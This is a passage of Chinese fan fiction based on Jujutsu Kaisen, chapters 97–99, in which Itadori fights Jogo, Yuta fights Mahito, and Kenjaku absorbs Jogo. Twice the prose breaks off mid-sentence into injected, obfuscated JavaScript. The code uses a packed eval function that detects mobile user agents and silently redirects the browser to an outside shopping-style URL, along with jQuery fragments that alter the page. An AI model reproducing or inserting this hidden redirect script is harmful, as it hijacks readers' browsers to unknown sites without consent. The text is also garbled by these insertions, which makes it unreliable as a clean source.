“......”它扭着占据了耳朵部位的旋钮,完全放开了火力,眯着眼睛说道:“臭小鬼们。”
胀相脸上的咒纹逐渐扩大,跃动的血滴同时在身边开始压缩,为“穿血”提前做好了准备。
“上吧,悠仁,”九相图们的兄长双掌合拢,血线在指尖蠢蠢欲动,“我来配合你。”
97. 第 97 章
漏瑚第一次正视虎杖悠仁。
除了“两面宿傩的容器”之外,特级咒灵们没有思考过这个粉发少年存在的意义。似乎他在那里、不在那里,都不会改变任何事实,也不会对它们的计划造成任何影响。
如今终于吝啬地将目光分给他,也不过是看到了他身上显露出来的、超越它们预期的力量。
咒灵们最让虎杖悠仁厌恶的就是这一点,不光是它们,还有看不清生命真正价值的人。因为不在乎,所以能够将其他的生命随意踩在脚下践踏。这世上就是有一些人、一些家伙是无论如何都没办法沟通的,就算有一天真正做到了相互理解,但是为了各自的立场也只能选择继续无休止的争斗。
虎杖悠仁在火光中向前狂奔。
论及相互理解......他和它们都是一样的啊。
漏瑚虽然没有主动关注过虎杖悠仁,但因为真人曾经对粉发少年分外在意,所以跟着它也多少听说过虎杖悠仁拥有不止一种术式,只是更深入的细节它就一无所知了。
赶快解决掉虎杖悠仁和碍眼的九相图,向着新时代前进吧。
它很快为自己的轻视付出了代价。
没人看得出虎杖悠仁已经和来自千年前诅咒师进行过一场殊死搏斗,除了乙骨忧太和羂索之外也再无其他人知晓他刚刚“重生”的事实。
而他现在依然活力满满,从未出现咒力枯竭的现象。环绕在周身的咒力细水长流般滋润着他的身体,因为不像乙骨忧太的咒力那样锋芒毕露,所以他的对手们总将他的顽强归结于他与生俱来的身体素质。
这当然是支撑着他继续战斗不可或缺的条件,柔韧而强劲的身躯允许他以常人难以想象的角度规避漏瑚的进攻,而在独眼咒灵弄明白他的【御厨子】如何运作之前,虎杖悠仁已经在它的身上留下了削切的痕迹。
咒灵被祓除的标准很多变,不过通常来说只要击破要害——像是大脑或者可能是心脏的部位就能够确保它们彻底死去,但是对于特级咒灵来说,想要祓除就得彻底地击溃它们。还要小心像真人那样可以自我分裂的能力,哪怕只是剩下身体的一小部分也能凭借单纯的修养很快恢复实力。
漏瑚被看不见的斩击切断的手臂迅速复原了。
没有感知到有什么东西“接近”,那种感觉就像是有人把它的身体当成了画布,斩击就像是描绘出来的图案,扁平却锋利。
虎杖悠仁尝试着再一次唤醒与里梅战斗到最后时体会过的感觉。不论主动还是被动,击出过黑闪的术师体会过接近咒力核心的畅快,就像是已经与体内的咒力融为了一体,不论是驱使它们涌入大脑中的回路还是流出体表构成防御的屏障都如臂使指,像是他们天生就和咒力这样亲近一般。
漏瑚很快就抓住了虎杖悠仁施用【御厨子】时的破绽。只要遮住视线,他的斩击就没办法直接落到自己身上......漏瑚得意洋洋地笑了起来,冒牌货果然还是冒牌货。
抬手间,无数极小的喷发口出现在了它和虎杖悠仁之间的地面上,炙热的岩浆从出口周围溢了出来,烧红了地面。
硫磺的味道和带着刺激性的气体让设法穿越这片高温区域的虎杖悠仁微微皱起眉头。
“嘁!”胀相发现那些喷涌而出的熔岩能够烧干他的血液,为了掩护虎杖悠仁而设立起的两条“运河”本应像是深红的缎带一样飘在半空,可现在却被烧出了一个个破洞,变得断断续续。
但是,区区这样的困难还远不会让他感到为难,现在他可是肩负着守护弟弟的职责的兄长!!
暗色的血河近乎要完全被刺目的光焰吞噬,连火光的主人都不再分给它们一点眼神,唯有虎杖悠仁一直信任着胀相。
起初粉发少年还在躲闪,可是不知从什么时候开始,漏瑚发现那些喷发的岩浆柱也开始被切断,迸涌出来的熔岩竟然主动从虎杖悠仁的身边退开,好似他的周围是什么不可接近的地带一样。
这种感觉......漏瑚眯起眼睛。和五条悟身旁的那片不可侵空间很相似,但又有些不同。接近的岩浆并非受到了“排斥”,而是仿佛失去了“动力”。
“哼,第二个术式吗?”
蜂拥而至的火砾虫群振翅,声音共振刺痛着进攻者的鼓膜。虎杖悠仁咬紧牙关,那些口器狭长的小东西们终于主动发出了比振翅声刺耳数倍的尖锐鸣叫。
他瞪大了眼睛,冲在最前端的火砾虫身上已经爆发出了纯白的闪光,自爆式袭击即将彻底封锁这片区域,而虎杖悠仁就是主动冲到陷阱里来的猎物。
漏瑚似乎认定自己已经胜券在握。说到底,像是【无下限咒术】这样根本无法触碰的变态术式本就千载难逢,虎杖悠仁的第二个术式看上去在使用的时候有着不短的间隔时间,只要在此期间有一只火砾虫炸穿了他的防御,等待他的就只有在漏瑚的岩浆中化为灰烬这一个结局。
虎杖悠仁知道自己处于劣势,他的【御厨子】在遇到成群结队的敌人时永远疲于应对,唯有集中进攻于同一对象才能完全发挥斩击的威力。
眼神微动间,琥珀色的瞳仁瞥见了在眩光中变得更加不起眼的血团。
骤然膨胀的血河吞掉了所有的火砾虫,本应被爆炸和高温烧穿的血液却因为咒力主人的拼命压榨而表现出了远超其极限的防御力。
虎杖悠仁相信着自己的力量。
哪怕他无法依靠它们做成任何事,他也会、也只能虔诚地依赖着它们。
漏瑚直面虎杖悠仁的拳风,在看见裹挟在拳头上的漆黑咒力时果断地选择后撤。它的身体强度不及花御,在近战方面不占优势......这一点已经在与五条悟的战斗中体现得淋漓尽致,哪怕只要还拥有咒力就能够修复身体,但在领域对战落败后被扯得只剩下了一颗头的记忆仍潜移默化地影响了漏瑚的战略选择。
然而它后撤得太晚了。虎杖悠仁的进攻速度快如闪电,数米的距离仅一眨眼就被他跨过,漏瑚来不及操纵滚烫的岩浆,仓促间竟做出了和里梅同样的选择。它抬起双臂护住了自己的脑袋,企图用这样的方法挡住虎杖悠仁的黑闪。
附带着漆黑咒力的一拳结结实实地击溃了咒灵的防御,冲击力穿透漏瑚、压碎了地面。黑闪让虎杖悠仁施用术式的速度加快,如果说原本咒力涌入大脑的回路就像是流水淌进干涸的河床,现在更像是他小时候在冰面上滑行的感觉,没用太多的力道就能凭借惯性流畅地一直向前。
刚才的一击完全击穿了他们脚下站立的地面,而恰好正下方就是一片地下通道,漏瑚被巨大的力道压着直接撞进了通道里。
虎杖悠仁追着咒灵跳了下去。
漏瑚被这一击伤得不轻,黑闪让虎杖悠仁原本先后两次的咒力打击集合在了一处,不光如此,在拳头打中它的瞬间,那些斩击也从接触到的地方蔓延开来,将肢体的末端切成了碎片。
这个臭小鬼——!!
漏瑚从自己的血液中站起身,迅速恢复了缺少的肢体。
而且,这种力量、这种速度——!!
“少给我得意忘形了!!人类!!”
蒸腾的热气将地下空间连通着外界的井盖全部冲飞,狭小甬道里的景象开始扭曲,像是夏日的阳炎,又仿佛有透明的火焰在燃烧着一般。
暴怒的特级咒灵带来了大地的诅咒,它们狰狞、狂热,带着足以吞噬一切的热量无限接近地表,震耳欲聋的隆隆声让不明真相的人心惊胆战地望向地面,恐惧着土层之下蕴藏着的力量与威胁。
虎杖悠仁在漏瑚眼中快得就像一个鬼影,身形闪烁难以捉摸。它受够了这样的追逐,索性彻底唤来鼓动的岩浆,让喷涌而出的熔岩完全吞没了这片大地。
体表的水分正因高温而迅速蒸发,虎杖悠仁觉得自己的大脑在这样的温度中也开始变得不甚清晰,覆在体表的咒力防御被逐渐侵蚀,率先被剥穿的地方能够感受到表皮破溃的痒痛。
原本只有借着从破开的天顶处洒下的月光才能勉强视物,而今周遭被熔岩照得宛如白昼,无处落脚也无法忍受灼人温度的虎杖悠仁退出了狭窄的地下空间。
地表已是一片火海。
被风带走的火星点燃了沿路栽种的树木,叶片早已焚烧殆尽,只剩枯瘦的树干在熊熊烈火中变得愈发纤细,焦枯脆弱到被两道身影疾驰而过时带起的风轻易地折断了。
熔岩在地面上流动着,明黄色的亮光让人不禁想起夏日的太阳。漏瑚和虎杖悠仁一前一后在熔岩表面未被完全吞噬的建筑碎片上辗转腾挪,这些突破地表的岩浆似乎与花御召唤来的树海不同,它们并非完全的咒力结晶,因此漏瑚也不愿意与它们太过亲近。虎杖悠仁正是察觉到了这一点,才开始追在它的身后不间断地使用【御厨子】削切着漏瑚的落脚点,偶尔还能带上没来得及躲开视线聚焦之处的独眼咒灵。
这本该是漏瑚为自己创造出来的有利战斗环境,可如今却成为了困住他们两个的枷锁。
在黑闪状态的加持下,虎杖悠仁的斩击同样能够击溃岩浆。看着那些滚烫的熔融物质像是坚硬的彩色糖果一样被切成数段,哪怕是漏瑚也不得不承认【御厨子】的威力。
但,优势仍在漏瑚一方。
不断喷涌的熔岩像是一支无情的铁骑向前推进着。它们推倒了高楼、吞没了广场,践踏着一切。
前方已经无路可走。
虎杖悠仁踏着最后的落脚点,一跃来到了半空中。
由熔岩构成的大手逐渐浮现在他身侧,回过身来的漏瑚眯着眼睛怒吼,压榨咒力让那恐怖的庞然大物迅速成型,被它们夹在中间的虎杖悠仁看上去就像是滚烫沸腾的海中最不起眼的船只,顷刻间便会消失在翻涌的火浪里。
满耳寂静。
——
真人和乙骨忧太的战斗已经拐入了商场大楼。
狭窄的地方对真人来说更有利,它从腹中取出了数量可观的改造人,将多个灵魂融合在了一起,制作出了攻击力更强的改造人。
但是,这样的行为也只是拖延时间吧。真人得意洋洋地笑着,在乙骨忧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378236|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太视线的死角分裂成了两个自己,将“原型”藏了起来。
这世上除了它再也没有第二个人能够看穿灵魂的轮廓,也就没人能判断出哪个才是它真正的本体!
融合了多个灵魂的多重魂·拔体没能阻拦住乙骨忧太的动作,里香和他从不同的方向围攻真人。浅蓝色头发的咒灵像是玩闹一般绕着商场内的各种柱子、店铺躲来躲去,时不时发出让人恶寒的天真笑声。
“......”乙骨忧太瞪着眼睛,口中喃喃道:“里香。”
“我知道啦。”白色的式神给予了回应。
“哈哈!哈哈哈哈哈哈!这次我们玩什么?!又是咒力大炮吗?你应该知道那东西对我来说没有用吧?”
乙骨忧太不会选择在这里毫无顾忌地使用上一次对战中那样放肆的咒力输出。尽管现在他们周围没有被困的普通人,但乙骨忧太没办法确定更深处是否还有人躲藏着。对普通人来说,发生在涩谷的一切都是无妄之灾。
真人跳下了电梯井,紧随其后的乙骨忧太穿过了黑暗狭窄的通道,落入从电梯口投射进来的光圈里之前,他已经横刀在身前做好了准备。果不其然,当他被光照到的瞬间,由肉块组成的地铁车头疾驰着向他撞了过来,辗过了电梯口。
坍塌的碎石飞屑中夹杂着点点血滴,真人舔了舔嘴巴。手感不太对......这家伙的反应真快。
原本电梯口所在的位置已经完全被真人改造后的肉|体填满,蠕动的肢体末端甚至沿着电梯井继续向上向下填补着空缺。感受到了熟悉的威胁,真人主动与被改造成地铁的那部分肉|体断开了联系,而就当它从颇有体积的车厢上方跳下来时,被他舍弃的部分霎时鼓了起来。
好像有什么东西想要破皮而出,被撑到近乎透明的表皮上能够清晰地看到所有血管,直到它们再也困不住体内横冲乱撞的正极能量,被咒灵们的“天敌”炸得粉碎。
战斗让这一层的灯光一闪一闪,挂在天花板上的标志牌随着震荡晃动着。这一层看起来都是服装店,乙骨忧太的视线扫了一圈,没有发现被困住的人。
里香没有跟在他身后,身躯庞大的式神没办法通过狭窄的电梯井,而是直接打穿了天花板,让这一层的电力彻底被切断了。
黑暗中,有僵硬的关节活动声响了起来。
交战双方默契地停了下来,真人有些兴奋地看向从周遭店铺中走出来的那些人形:“哦吼~这个是......”
它的声音惊动了那些行动僵硬的人影,它们齐刷刷地转过头,向真人的方向前赴后继地冲了过来。
这个是机械丸的【傀儡操术】,从数量和它们逐渐流畅起来的动作来看,被乙骨忧太使用出来的【傀儡操术】在可操纵的术式对象数量上要远超机械丸本身,哪怕术式范围不及曾经拥有天与咒缚的机械丸,但在短距离战斗方面的气势却无人能及。
穿着漂亮衣服的商品模特打碎了橱窗玻璃,真人作势将手臂改造成了大锤,破坏了一些扑上来的人偶。被当做【傀儡操术】操纵的对象毕竟不像机械丸制作出来的机械造物那样拥有一定的防御力,商场里的服装模特们在真人的进攻下不堪一击。
但乙骨忧太几乎将整栋楼的模特都叫了过来,它们顺着被里香打破的天花板源源不断地跳了下来,直到将真人完全地困在了最中心。
它只在视野被完全遮蔽前见到了黑暗中一闪而过的刀光。
乙骨忧太朴实无华地提刀前刺,精准地避开了人偶们交缠在一起的身躯,走出了一条神秘莫测的刀路径直刺入了最中心的真人体内。
刀的推进却被阻拦住了,特级咒灵制作出了第二双手在胸前钳住了裹挟着正极能量的锋刃。被灌输进咒具中的正极能量不如直接从乙骨忧太手中释放出来的输出效率高,但是这柄咒具本身的特性却在此刻完美体现了出来。
这种感觉——?!
原先真人根本没有留意到这柄咒具身上本来拥有的异质咒力,因为乙骨忧太庞大的咒力量和对它有致命威胁的正极能量吸引了它所有的目光,以至于让它忽略了这柄咒具本身。
经由咒具大师之手、模仿自释魂刀的咒具本来便拥有能够伤及灵魂的特性,哪怕持有者没办法观察到灵魂的轮廓也是一样的。
以及从接触到刀刃尖端的部分开始、逐渐蔓延的血线——这是虎杖悠仁的斩击!!!
“你这家伙,”胸膛被切得粉碎,连灵魂都受到了伤害的真人却在无人看见的地方扬起了嘴角,“原来能同时使用两种术式吗?”
【傀儡操术】和【御厨子】......亦或者只是使用了某种取巧的方法让它们的术式效果同时显现了出来。
乙骨忧太双手紧握刀柄,更加用力地用刀彻底捅穿了人偶内侧的真人。
“嘻嘻......”微乎其微的讥笑却从耳边传来。
乙骨忧太将眼睛转向身侧,围在周围的其中一个服装模特突然长出了真人的脸,歪七扭八的缝合线横亘在面部,露出了得意的笑容。
98. 第 98 章
接连不断的爆炸与升高的温度炙烤着小巷中对峙的诅咒师和咒术师们,每个人都开始变得焦躁不安,疑神疑鬼。
“喂诅咒师们!”日下部笃也嗅到了危险的味道,他吐掉糖棍将佩刀置于身前,脸色不善地将学生们挡在了身后:“虽然不知道发生了什么,但现在看起来有特级打起来了!”
熊猫似乎闻到了自己的毛被高温烘得卷曲的焦糊味,狗卷棘听到小巷外的自动售货机里发出了罐装饮料瓶爆裂的声音。
“棘,”熊猫开始小幅度地跺脚,脑袋左右甩动看向诅咒师们背后愈发明亮的火光和那些冲天而起的岩浆,“我觉得我们该走了!快点、快点!”
菅田真奈美和祢木利久也不知道究竟发生了什么,但是这种规模的战斗对他们来说正好:“别想走!”
“我说你们真的搞不懂轻重缓急吗?别——”日下部笃也的话卡在了半截,视线落在了从正对着他的小巷出口处逐渐蔓延过来的冰霜。苍白的颜色爬上了建筑的外表,冰晶在高温中依旧凝结出了一朵朵好看的白花。
诅咒师们也注意到了身后的异状。
一只手从墙后伸了出来,狠狠地扒住了被冻裂的墙壁。
——
虎杖悠仁曾幻想过自己的兄弟姐妹们会长得和自己很像,也许会有同样的发色、一样的琥珀色瞳孔。
“悠仁,”血涂吃着薯片,“为什么我们长得不像啊?”
虎杖悠仁记得当时自己在吃从便利店买回来的牛肉便当,因为刚刚找到禅院甚尔的骨灰,为羂索和特级咒灵们的事情困扰着,所以没什么胃口,等到他想起来吃东西的时候,牛肉便当已经彻底凉透了。
“为什么啊......是个很难回答的问题,”他抬起下巴皱着眉头思考起来,“我大概是遗传了爸爸这边的长相吧,不过我本来对他的印象就很模糊......总之有各种各样的原因啦。”
他顾及着九相图们的心思,尤其是蹲在阳台上浇花的胀相——虎杖悠仁已经不记得那些花盆里都被他种了哪些花种,但第一朵开出来的花和胀相的发型像极了——没有提及他们身体中占了大部分的咒灵血脉。
血涂的世界很单纯:“那我们也是遗传了爸爸的长相喽?”
虎杖悠仁挠挠头,模棱两可地说:“大概是的吧,你看坏相和胀相都是黑头发啦。”
发色大概是最明显的区分吧?对于天生发色很奇怪的虎杖悠仁来说这的确是辨明亲缘关系的重要佐证,也许从面容上来看也很明显,像是乙骨忧太和他的妹妹同样有着圆圆的下垂眼,现在那孩子应该已经和她哥哥长得更像了。
软趴趴的洋葱只剩下了最后一点甜味,虎杖悠仁回头看了看仍旧蹲着、只能看到两搓炸起的发尾的胀相。
他刚想说点什么,比如“就算长得不像也不妨碍我们成为家人”之类的话来安慰看上去有些失落的血涂,它因为自己完全异于周围家人们的长相而闷闷不乐,一直在网络上为自己挑选新衣服的坏相突然说道:“因为我们的血统中混入了咒灵的血脉,血涂,其他的兄弟们甚至衰弱到无法受肉。”
他的话将虎杖悠仁和快把植物淹死了的胀相都吸引了过去,凝视着坏相,而他也自如地继续说道:“所以我们更要相互爱护,相互支持才行。”
坏相的目光落在了血涂身上,没有去看注视着他的另外两个人。坏相用这样的态度表达了自己对兄长选择的支持,帮天真的弟弟认清自己。
血涂的受肉已经很勉强了,他作为咒物的力量太弱,甚至因此受肉后的外表还残留着容器的面容,这导致他的脸上有一大一小两张嘴巴,上方代表着双眼的孔洞和小一些的口部无时无刻不在流着血。
他甚至没有术式,必须借助坏相的【蚀烂腐术】才能让自己的攻击拥有兄长们的部分力量。
“哈哈!我喜欢悠仁!”
粉发少年的眼睛微微睁大。没来由的,血涂突然发出了这样的宣言。虎杖悠仁知道血涂并不明白胀相和坏相心中顾虑的问题,也不明白成为人类和成为咒灵对他们来说分别意味着什么,但是“跟紧兄长们的步伐”似乎已经成为了一种本能,让他完全信任着走在前方的兄长们。
也许这是所有无法像他们一样来到这个世界的弟弟们的愿望吧。
胀相终于放过了那盆植物,有些释然地笑了出来。
“我也是,”虎杖悠仁的神情前所未有的放松,说道,“和你们成为家人的感觉还不错。”
“嗯哼,”坏相打了个响指,将手机页面展示给虎杖悠仁看,“帮我下单这个吧,悠仁。”
......坏相就是品味有些独特,虎杖悠仁不解但还是用自己的账号帮他买了喜欢的衣服。
血涂又开始看着电视节目哈哈大笑,胀相坐在了他身边的沙发上,从搞怪节目里吸纳着关于这个世界的各种知识。大部分都没什么用啦。
所以,所谓家人——
“就是要在弟弟需要帮助的时候挺身而出的啊——!!”胀相的双手比巨大的熔岩手掌更快地拍击在一起,早已提前完成压缩准备的“穿血”宛如离弦之箭,以超越音速的速度向虎杖悠仁发射而去。
虎杖悠仁不是第一次“站”在高空俯瞰地面的景色。他曾带着乙骨忧太飞上天空欣赏城市星星点点的灯光,而高空总是寂静的。
背后感觉到了来自胀相的助力,身下的地面完全无法捕获他的重量,让胀相得以用速度极快却极度温柔的力量将他送出了熔岩手掌的攻击范围。
“别来碍事,九相图们!!!”漏瑚气冲冲地怒斥背叛了自己咒灵身份的九相图兄弟,可现在也腾不出手来教训这些碍眼的家伙。
坏相的“翅王”横向射穿了这片战场,几近凝固的血液为虎杖悠仁提供了继续向前的落脚点。
在那一瞬间,虎杖悠仁的心中升起了“不能辜负他们”的想法。它由一个梦幻而不真实的七彩泡泡变成了夜幕下飞溅的火星,它点燃了草木,点燃了房屋,点燃了他的一切憎恶与愤怒。
由兄弟合力完成的进攻重创了漏瑚。
它被击飞、身体砸穿了两三栋楼宇,直到撞入了一片完全看不见火光的地方才堪堪停了下来。
污水从爆裂的水管中喷了出来,浇灭了漏瑚头顶的火焰。
“......”
在打击击中的瞬间也发出了斩击,似乎通过直接接触施用的【御厨子】威力与远程发动的术式威力并不完全相同。漏瑚说不好哪个对它的威胁更致命,亦或者是经由咒具强化过的力量配合着黑闪对它造成的伤害更大。
它在穿透建筑物的时候甚至在几息之间短暂地失去了意识。
伤口恢复的速度有些变缓了。
“那时我所说的话并非谎言,”独眼的咒灵看向已经追过来的虎杖悠仁,“我承认以前小看你了,虎杖悠仁。”
什么话?他听不懂,也没空细想。
百年后站在荒野上大笑的新人类不一定是它自己,为了开创这样的世界,漏瑚不介意以此身作为薪柴,让诅咒的火焰烧得更热烈一些!!
“但是,你也到此为止了,小鬼!!”
一个被舍弃的容器、一直被视作不值得警惕的存在。这样的人类,居然逼得它想要用领域来解决?这种想法若是放在不久之前,只是想想都会被它无情地耻笑。
漏瑚将自己变成了这片大地的诅咒。
哪怕曾经在领域战中败于五条悟之手,可漏瑚不觉得自己仍会在领域展开的技法中输给虎杖悠仁这个乳臭未干的小鬼。
“可别说我欺负人啊。”
——领域展开。
瞬间蔓延的漆黑结界越过了虎杖悠仁的脚下,原本满是裂纹的混凝土路面眨眼间变成了陌生的火山岩,裂纹深处仿佛有岩浆流动着。
咒术战的顶点领域展开......这是虎杖悠仁尚未踏足过的恐怖高度,想要从完全展开的领域内逃脱,除了同样展开领域抵抗、击溃对方之外,就只有强行打破领域这一种被认定为不可能达成的方法了。
在“盖棺铁围山”的领域范围内,漏瑚的术式被赋予了必中的效果,其能力值也成倍上涨。
“你这是——”漏瑚有些惊奇地看着完好无损地站在它的领域里的虎杖悠仁,粉发少年的周身被如水一般的咒力包裹着,如果仔细分辨,那分明是涩谷战斗开始前羂索教授给特级咒灵们用以对抗【无下限咒术】的领域展延!
这怎么可能?虎杖悠仁怎么可能有——?!
展延的技法既然能加上“领域”的前缀,自然无法忽视其在抵消必中效果方面的作用。寻常领域是向内施加必中效果,而展延则像是把正常的领域内外翻转、将空间化作薄膜包裹在身体表面,吸收、接纳了领域的必中效果甚至是术式效果,令虎杖悠仁哪怕无法展开领域抵抗“盖棺铁围山”也可以勉强继续在领域内行动。
只是展延仍无法与真正的领域相比,它更像是和简易领域一样为被迫卷入领域战内的术师求得一线生机的技法,其能够容纳的必中效果也极为有限,一旦双方实力差距过大、或者可以容纳必中效果的空间被填满,被剥穿只是时间问题。
所以虎杖悠仁丝毫不敢耽搁。
陀艮拥有未完成的领域,这是因为它尚且还是个没能变态的咒胎,那么其余的特级咒灵肯定各自拥有领域。虎杖悠仁知道这是不可避免的一环,总有一天他会面对拥有领域的对手,如果在他尚未领悟领域展开的时候发生了不得不进行领域战的困境,他必须找到能够摆脱领域乃至彻底击溃领域的方法。
比如在展延被剥穿之前,直接对漏瑚造成无法继续维持领域的致命伤害。
“使用展延的时候不能施用生得术式,”绕过百思不得其解的疑惑,漏瑚眯起眼睛,继续加大针对虎杖悠仁的进攻,“虽然没在被拉进来的一瞬间被烧成灰烬,还好好地挣扎了起来......胀相不会没告诉你这一点吧?”
高温似乎解开了某种枷锁,让虎杖悠仁自己也惊讶于他脱口而出的回应:“那又怎么样?!别光站在那里啊!!”
就算没有术式,他还有这身力量和手上的咒具。
模仿游云制作而成的手套咒具不需要任何咒力的驱使,它的运作规律十分简单粗暴,让虎杖悠仁直接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378237|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凭借蛮力击退了压向他的凝固熔岩。
也许和里梅战斗到最后时的感觉和此刻一模一样吧......被逼入绝境、不得不继续向前,却不知道等待着自己的会是死亡还是那渺茫的生机。胸腔中的心脏鼓动着,仿佛战鼓般被谁——不、是被他自己敲响,蛊惑着心中战斗的欲望。
他一定是被忧太传染了才会这么想。
当生命走到尽头,战意才会冲开压迫着它们的枷锁,反过来奴役它们的主人,让虎杖悠仁变得不再冷静。
他不再像是他自己。
虎杖悠仁终于对乙骨忧太无论如何也要亲自去东京的前线找五条悟战斗的冲动有了亲身体会。
他几乎是在挑衅着漏瑚,而独眼的咒灵显然被他彻底激怒了。
明明这样的局面只会让漏瑚加大领域内的咒力输出效率,加快他身上脆弱的展延被剥穿的速度,可他依旧这样说了,口不择言。
虎杖悠仁与漏瑚都知道这将是最后一击。裹缠在粉发少年身上的薄膜已经摇摇欲坠,奔涌的岩浆追逐着他的背影而来,铺天盖地般令人无处可逃。
“你就在这里被烧成灰烬吧!!虎杖悠仁!!”
漏瑚瞥见了黑红色的闪光,可是就在虎杖悠仁的黑闪打碎一切阻拦在拳路上的凝固熔岩后,等到的却不是漏瑚。
构成封闭式领域的结界突然如碎玻璃一样炸开了,漆黑的碎片四散飞舞,看上去就像是冬天不小心被风吹开了窗户,冷风夹杂着细密的雪花扑面而来。至少身上为数不多的热气被吹走时,虎杖悠仁的第一反应是快活。
这样的变故终止了这场战斗,虎杖悠仁直直地看向了漏瑚的身后。
“尽管有的时候我也不理解人类思维的多变,但你必须承认这就是你们咒灵的局限性啊,”来人挥手,后方还有尚未完全消失的高大阴影,虎杖悠仁看不出来那个柱状物究竟是个什么东西,“漏瑚。”
“——夏油,你这家伙?!!”
怎么回事?!我的领域被从外面打破了吗?!漏瑚只听那轻飘飘的声音就知道来的是羂索,可现在它因为领域展开而陷入了术式熔断的状态,也再无剩余的咒力以一敌二。似乎......结局已定。
一只手掌扣在了它的头顶,掌心恰好挡住了那个平常爱吐烟圈的火山口。
羂索状似是说给在场的漏瑚与虎杖悠仁听:“身为咒灵,你们的实力与思想在诞生的那一刻就已定格了下来,生命中仅有的进化也就局限于从咒胎到咒灵的变态过程。若说真人,它自认为的进化只是按部就班地抵达了它可以到达的层次,对我来说没什么可以感到惊喜的地方。”
大地尚未完全将它的愤怒尽数发泄出来,只能眼睁睁地看着自己落入践踏着土地、自诩世界之主的人类的阴谋中。
有鲜血从羂索额头上的缝合线中淌了下来,与此同时他的手掌也泛起了施用术式的光。
“人类最有魅力的地方就在于他们有胆量探索位于黑暗混沌中的‘未知’。某一部分人吧。”羂索纠正着自己的话:“你们自诩新人类,却执着于获得和人类一样的地位......老实说,我还是蛮失望的。”
漏瑚瞪着这个云淡风轻笑着的男人,直到它再也没办法维持现在的模样。
【咒灵操术】改变了诅咒的存在形态,点燃涩谷之夜的特级咒灵终是在彼时盟友的手中变成了一颗通体散发着混沌黑色的咒灵玉。
没有遗言,未发泄的狂怒也早已偃旗息鼓。也许百年后仍会有名为漏瑚的存在重新诞生,但此时此刻,这就是它的结局。
虎杖悠仁看着羂索在他面前吞下了咒灵玉。他下意识地想要挪开目光,却为时已晚。
夏油杰不喜欢被家人们看到他吞服咒灵玉的过程。
“束缚被解开了啊,”羂索面色不变,侧头看向远处的虎杖悠仁,“我本来觉得那孩子没什么魅力,但这个惊喜还算不错。”
虎杖悠仁张口说了什么,引得羂索翘起了嘴角。
男人刚开口,忽然察觉到了什么,抬头向天上看去。先落下来的是一根并不怎么粗壮的钢筋,它被人像是投掷标枪一样插入了地面,上面还串着什么圆滚滚的东西。
黑发少年慢了一步姗姗来迟,虎杖悠仁迅速将他浑身上下扫视了一遍,发现没有任何伤痕之后才又转头盯着羂索。
“我们来谈谈,”乙骨忧太踩上了真人的头,刀尖明晃晃地放到了异色的眼睛上方,“你真正想要的是这家伙吧?”
羂索没在意这强硬的态度,调侃地说道:“真人,太狼狈了吧?他好歹也是特级术师,分明之前已经提醒过你了。”
他耸了耸肩,对着只剩下脑袋的咒灵表示自己无能为力。
“夏油!!”满脸狼狈的缝合脸咒灵发出最后的呐喊。羂索一看就知道真人也在领域战中落败,陷于了术式熔断的状态。可惜,在领域展开后继续使用术式的方法的确存在,不过对于术式并非如同人类一样刻印在大脑中的咒灵来说,就没办法像五条悟和羂索一样完成这样的奇迹了。
男人终于将目光分给了准备谈判的少年们:“说说你们的要求。”
99. 第 99 章
乙骨忧太一直有一个隐约的猜测。比起没有头绪的虎杖悠仁,他的确知道一个能够让非术师成为术师的方法。而且,活生生的例子就在高专里。
真人曾经通过改造吉野顺平的大脑结构让他拥有了能够使用术式的能力。羂索在涩谷封印了五条悟之后立刻选择和咒灵们开战,这让乙骨忧太坚定了自己的想法。
为此,他们必须先知道羂索完整的计划。
虎杖悠仁和乙骨忧太原本以为羂索仍会将真相深埋于黑暗当中,像是欺骗夏油杰那样吝啬地透露自己的秘密计划,但是男人出乎意料地大方坦言道:“想要见到由一亿人的咒力催生而出的怪物究竟是何种模样,这个目的我从来没有隐瞒过你啊。”
“至于达成它的方法......呵呵,现在倒不是说这个的时候,不过别着急,很快你们应该也会明白的。”羂索的目光落在了乙骨忧太身上:“你去过薨星宫,自然应该见到过天元。”
他们通过羂索之口终于明白了一切的来龙去脉。
天元之所以在薨星宫本殿内闭门不出正是因为它处于【咒灵操术】的威胁之下,而只要羂索成功调伏天元,就相当于掌握了全国境内所有结界的控制权。
“你要利用那些结界,开启全人类与天元的超重复同化?”乙骨忧太发问。
羂索摊手:“不用和你们多费口舌真是太好了。”
这不对。
黑发少年敏锐地质疑:“你的计划里不需要真人。”
按照羂索的说法,他现在只需要闯进薨星宫击败天元、将它变成自己的咒灵然后就能立刻实现愿望。
涩谷的战争可以被视作为了封印五条悟而特意准备的舞台,但真人......乙骨忧太原本以为羂索需要真人的术式来改造非术师们的大脑,可羂索却说只要开启和天元的同化就能做到从非术师到术师的升华。
“哈哈!所以我才说,”羂索忽然召出一只咒灵挡在了自己的头颅边,一枚从极远处打出的子弹将咒灵的身体拉伸到了极限,可它的力量没能突破这个韧性超乎想象的咒灵,停留在了距离羂索太阳穴近在咫尺的地方,“让你们别太着急。你看,这不就都过来了吗。”
极远处的建筑物高层,抱着枪械瞄准的禅院真依“嘁”了一声。
“机械丸,不能再靠近中心一点了吗?”
耳边的通讯器里传出了三轮霞的声音,禅院真依迅速从这个点位撤离。
